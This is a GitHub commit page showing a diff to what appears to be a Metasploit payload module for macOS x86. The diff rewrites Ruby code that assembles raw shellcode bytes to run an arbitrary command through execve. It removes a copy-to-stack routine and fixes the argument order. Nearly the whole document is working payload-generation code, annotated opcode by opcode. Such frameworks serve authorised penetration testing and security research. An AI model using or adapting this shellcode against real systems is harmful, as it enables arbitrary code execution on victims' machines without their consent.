Skip to content

Commit ab08871

Browse files
committed
Removes unnecessary copy-to-stack. Fixes arg-order issue.
* Now I simply point to the string in instruction-memory, which saves a few bytes.
1 parent 5ab81e7 commit ab08871

File tree

1 file changed

+7
-14
lines changed
  • modules/payloads/singles/osx/x86

1 file changed

+7
-14
lines changed

modules/payloads/singles/osx/x86/exec.rb

Lines changed: 7 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -46,27 +46,20 @@ def initialize(info = {})
4646
#
4747
def generate_stage
4848
cmd_str = datastore['CMD'] || ''
49-
5049
# Split the cmd string into arg chunks
5150
cmd_parts = cmd_str.split(/[\s]+/)
51+
# the non-exe-path parts of the chunks need to be reversed for execve
52+
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
5253
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
53-
arg_len = arg_str.length
5454

55-
# Stuff an array of arg strings into memory, then copy them all on to the stack
55+
# Stuff an array of arg strings into memory
5656
payload = ''
5757
payload << "\x31\xc0" # XOR EAX, EAX (eax => 0)
58-
payload << "\x50" # PUSH EAX
59-
payload << Rex::Arch::X86.call(arg_len) # JMPs over CMD_STR, stores &CMD_STR on stack
58+
payload << Rex::Arch::X86.call(arg_str.length) # JMPs over CMD_STR, stores &CMD_STR on stack
6059
payload << arg_str
61-
payload << "\x5e" # POP ESI (ESI = &CMD)
62-
payload << "\x89\xe7" # MOV EDI, ESP
63-
payload << "\xb9" # MOV ECX ...
64-
payload << [arg_len].pack('V')
65-
payload << "\xfc" # CLD
66-
payload << "\xf2\xa4" # REPNE MOVSB (copies string on to stack)
67-
payload << "\x89\xe3" # MOV EBX, ESP (puts ref to copied str in EBX)
60+
payload << "\x5B" # POP EBX (EBX => &CMD)
6861

69-
# now EBX contains &cmd_parts[0], the exe path (after it has been copied to the stack)
62+
# now EBX contains &cmd_parts[0], the exe path
7063
if cmd_parts.length > 1
7164
# Build an array of pointers to the arguments we copied on to the stack
7265
payload << "\x89\xD9" # MOV ECX, EBX
@@ -75,7 +68,7 @@ def generate_stage
7568
cmd_parts[1..-1].each_with_index do |arg, idx|
7669
# can probably save space here by doing the loop in ASM
7770
# for each arg, push its current memory location on to the stack
78-
payload << "\x81\xC1" # ADD ECX, + len of previous arg
71+
payload << "\x81\xC1" # ADD ECX, + ...
7972
payload << [cmd_parts[idx].length+1].pack('V') # (cmd_parts[idx] is the prev arg)
8073
payload << "\x51" # PUSH ECX (&cmd_parts[idx])
8174
end

0 commit comments

Comments
 (0)